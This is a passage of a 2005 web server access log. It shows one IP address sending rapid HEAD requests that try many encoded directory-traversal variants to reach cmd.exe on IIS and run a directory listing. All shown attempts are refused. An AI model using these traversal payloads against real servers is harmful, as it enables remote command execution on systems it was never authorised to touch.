/iisadmpwd/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:39 -0400] "HEAD /iisadmpwd/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:40 -0400] "HEAD /iisadmpwd/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:41 -0400] "HEAD /iisadmpwd/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /iisadmpwd/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /iisadmpwd/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /iisadmpwd/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /iisadmpwd/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /_vti_cnf/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /_vti_cnf/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /_vti_cnf/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /_vti_cnf/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /_vti_cnf/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /_vti_cnf/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:42 -0400] "HEAD /_vti_cnf/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:43 -0400] "HEAD /_vti_cnf/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:44 -0400] "HEAD /_vti_cnf/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:45 -0400] "HEAD /_vti_cnf/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:46 -0400] "HEAD /_vti_cnf/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /_vti_cnf/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /_vti_cnf/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /_vti_cnf/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /_vti_cnf/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /_vti_cnf/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /_vti_cnf/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /adsamples/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /adsamples/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /adsamples/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /adsamples/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:47 -0400] "HEAD /adsamples/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:48 -0400] "HEAD /adsamples/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:49 -0400] "HEAD /adsamples/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:50 -0400] "HEAD /adsamples/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD /adsamples/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:51 -0400] "HEAD 